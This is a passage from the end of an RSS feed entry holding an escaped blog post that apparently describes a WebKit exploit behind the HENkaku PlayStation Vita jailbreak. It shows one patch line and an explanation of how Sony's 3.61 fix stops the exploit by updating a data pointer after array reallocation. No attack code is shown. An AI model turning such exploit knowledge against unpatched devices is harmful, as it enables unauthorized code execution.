+         ContiguousTypeAccessor&amp;lt;indexingType&amp;gt;::setWithValue(vm, this, data, i, values[i].first);
+   
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;They now update the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; pointer before writing values into it! This means that even after the array gets reallocated, the function will still be writing to the right memory location. This is what causes the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert(&quot;restart the browser&quot;)&lt;/code&gt; error if you attempt to run HENkaku on 3.61. Good job, Sony!&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;That’s it for today! I hope you’ve enjoyed this writeup as much as I loved writing the exploit. Later, I’ll bring you more HENkaku writeups, so you better look forward to it.&lt;/p&gt;
</description>
        <pubDate>Thu, 18 Aug 2016 13:37:00 -0400</pubDate>
        <link>https://blog.xyz.is/2016/webkit-360.html</link>
        <guid isPermaLink="true">https://blog.xyz.is/2016/webkit-360.html</guid>
        
        
      </item>
    
  </channel>
</rss>
